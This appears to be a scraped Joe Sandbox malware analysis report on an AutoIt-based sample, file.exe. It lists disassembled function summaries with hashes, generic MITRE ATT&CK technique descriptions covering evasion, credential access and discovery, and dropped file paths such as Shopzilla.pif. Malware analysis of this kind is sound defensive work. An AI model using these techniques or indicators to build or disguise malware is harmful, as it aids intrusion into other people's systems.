Opcode ID: 6ac94203f38ac5f5e2f71baa6c7400e108a4077bfb20e192e81cd917104b9f9d
Instruction ID: 7f8bae28b0e617ba311457d173e9e2bb20325424e48de5754ed6d88ee74ddde1
Opcode Fuzzy Hash: 6ac94203f38ac5f5e2f71baa6c7400e108a4077bfb20e192e81cd917104b9f9d
Instruction Fuzzy Hash: 4501F571A4121CAB8B14EBA4CC61DFE77E9EF123A0B500699F971672C1DF31580CC750

Function 00C091B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C091D4
__fread_nolock.LIBCMT ref: 00C091E9

Strings

EA06, xrefs: 00C0921B

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 08be6b815dcf407ad9a0c4b8730e9e875359bc121a72f4b02bbcc7b209bba754
Instruction ID: 8fc211bb27c4aa09ba0fe6314e4ae9fc588ee06e4b7f2fc0fe57811a712f63a9
Opcode Fuzzy Hash: 08be6b815dcf407ad9a0c4b8730e9e875359bc121a72f4b02bbcc7b209bba754
Instruction Fuzzy Hash: F901B971D04258BEDF28CAA8CC5AFAE7BF8DB15311F00419FF552D6181E575A648CB60

Function 00BF9698 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

Part of subcall function 00BFB57D: GetClassNameW.USER32(?,?,000000FF), ref: 00BFB5A0

SendMessageW.USER32(?,00000180,00000000,?), ref: 00BF9706

Strings

ListBox, xrefs: 00BF96D0
ComboBox, xrefs: 00BF96A5

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 964b8efb858690f15a96de1677f4b5a7720c5e6f18f97c9531013ab656ae2ca7
Instruction ID: ab3b4e7984070b0f4ec311f6fd01afd63d5ec4409d38b5984b8ea2070888f759
Opcode Fuzzy Hash: 964b8efb858690f15a96de1677f4b5a7720c5e6f18f97c9531013ab656ae2ca7
Instruction Fuzzy Hash: 9E01D4B5A4110CABCB14EBA4C862FFF77E8DF11300F5001A5B911A72C1DE555E0C96B1

Function 00BF971D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

Part of subcall function 00BFB57D: GetClassNameW.USER32(?,?,000000FF), ref: 00BFB5A0

SendMessageW.USER32(?,00000182,?,00000000), ref: 00BF9789

Strings

ListBox, xrefs: 00BF9755
ComboBox, xrefs: 00BF972A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 46c62f09668c6b9c85349fd4d34d2fefa18677e09457bfc112b558be7cd0da44
Instruction ID: b8febe754c27d1cf18738e6c328482f552a9a4915b1ae8b93561304ab4ed1232
Opcode Fuzzy Hash: 46c62f09668c6b9c85349fd4d34d2fefa18677e09457bfc112b558be7cd0da44
Instruction Fuzzy Hash: 78018FB5A5120CAB8B14EBA4C962FFFB7E8DB11340BA00195B915A3281DB655E0C9671

Function 00C05350 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00C0536E
_wcscmp.LIBCMT ref: 00C05380

Strings

#32770, xrefs: 00C0537A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: cc4f5a2b2e04c09317d537071a1ab6febb90bdb00a342cc5dcf3ec322981c9cb
Instruction ID: 32eee7c44639c22c3c82cdb27a0404613f70e81a4f5a0850ea8c10458a72a245
Opcode Fuzzy Hash: cc4f5a2b2e04c09317d537071a1ab6febb90bdb00a342cc5dcf3ec322981c9cb
Instruction Fuzzy Hash: 26E09B7260422867D72096559C05F9BF7ECDB55761F0001A6FD04D3151E5A06A558BD4

Function 00BF8675 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00BF8683

Part of subcall function 00BC34BA: _doexit.LIBCMT ref: 00BC34C4

Strings

Error allocating memory., xrefs: 00BF867C
AutoIt, xrefs: 00BF8677

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: c14a9f5b7e33994cdc0a6087a61518f298ebbed3af80495a68026dee1091ee3a
Instruction ID: ac48164568de60a8088dd190c680cf72707ffb04c4af081fe9035429718f1fc2
Opcode Fuzzy Hash: c14a9f5b7e33994cdc0a6087a61518f298ebbed3af80495a68026dee1091ee3a
Instruction Fuzzy Hash: 53D05B3239531837E2153695AC1BFDE7AC88B05B51F2444B9BF04E61C34ED989D441E9

Function 00BDB421 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00BDB474: _memset.LIBCMT ref: 00BDB481

Part of subcall function 00BC0A9F: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00BDB450,?,?,?,00BA100A), ref: 00BC0AA4

IsDebuggerPresent.KERNEL32(?,?,?,00BA100A), ref: 00BDB454
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00BA100A), ref: 00BDB463

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00BDB45E

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: 5b0c8242271a1d71a8f43a08ee2f7bcf4de36375fa48a297dac5ed39e957e23a
Instruction ID: dbf77487ec775fc3897b12aae45b2151121fa7f28a000f7f7c62bcd171dd511b
Opcode Fuzzy Hash: 5b0c8242271a1d71a8f43a08ee2f7bcf4de36375fa48a297dac5ed39e957e23a
Instruction Fuzzy Hash: 62E06DB0210751CBD730EF25E814B46BAE4AF04704F1189AEE496C2752E7B5D504CB91

Function 00BE0181 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00BDFFC1

Part of subcall function 00C1C4A1: LoadLibraryA.KERNEL32(kernel32.dll,?,00BE01AA,?), ref: 00C1C4AF
Part of subcall function 00C1C4A1: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00C1C4C1

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00BE01B9

Strings

WIN_XPe, xrefs: 00BDFFD4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 0574325881d29eb0acc0484b091e28c5c23bf42760382b8517d9e11ff50e1ec3
Instruction ID: 246c4f98429c2c47e63a6b8935303c8f89465bdc745093b72a08ae626635f537
Opcode Fuzzy Hash: 0574325881d29eb0acc0484b091e28c5c23bf42760382b8517d9e11ff50e1ec3
Instruction Fuzzy Hash: 74F0A57581E11ADBCB15DB91D9E8BFCBBF8AB09304F2400D6E142A2290DB719F84DF20

Function 00C25D9D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00C25DB3
PostMessageW.USER32(00000000), ref: 00C25DBA

Part of subcall function 00C0566C: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C056E4

Strings

Shell_TrayWnd, xrefs: 00C25DAC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: c7d1639f1738295008f1cf135e89bd7c4a65e86ecb0a1481539727f9db603da3
Instruction ID: f45c0a619da367844ec4d22dd1baf5dcf85b9c03e978061bfa90dab4e22b65e3
Opcode Fuzzy Hash: c7d1639f1738295008f1cf135e89bd7c4a65e86ecb0a1481539727f9db603da3
Instruction Fuzzy Hash: FBD0C936394B11ABF664A7709C1BFDB6624AB44B51F140865B685EA1E1C9E06840CA58

Function 00C25D69 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00C25D73
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00C25D86

Part of subcall function 00C0566C: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C056E4

Strings

Shell_TrayWnd, xrefs: 00C25D6C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 943620326803d5ebb321a7e397487683dea0d7e13ba0702e13adb6f1f372f8cf
Instruction ID: 51da8887c3837195bb96c36d0c9bbeee57dcedadabff2cf063250e15e7b8581d
Opcode Fuzzy Hash: 943620326803d5ebb321a7e397487683dea0d7e13ba0702e13adb6f1f372f8cf
Instruction Fuzzy Hash: 74D0C936398B11ABE664A7709C1BFDB6A24AB40B51F140865B685AA1E1C9E05840CA54

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\TechMind360 Innovations Co\L

C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js

C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif

C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

C:\Users\user\AppData\Local\Temp\812297\g

C:\Users\user\AppData\Local\Temp\Acoustic

C:\Users\user\AppData\Local\Temp\After

C:\Users\user\AppData\Local\Temp\Almost

C:\Users\user\AppData\Local\Temp\Anticipated

C:\Users\user\AppData\Local\Temp\Anyone

C:\Users\user\AppData\Local\Temp\Anyone.cmd

C:\Users\user\AppData\Local\Temp\Bb

C:\Users\user\AppData\Local\Temp\Bee

C:\Users\user\AppData\Local\Temp\Blessed

C:\Users\user\AppData\Local\Temp\Cargo

C:\Users\user\AppData\Local\Temp\Chase

C:\Users\user\AppData\Local\Temp\Commercial

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

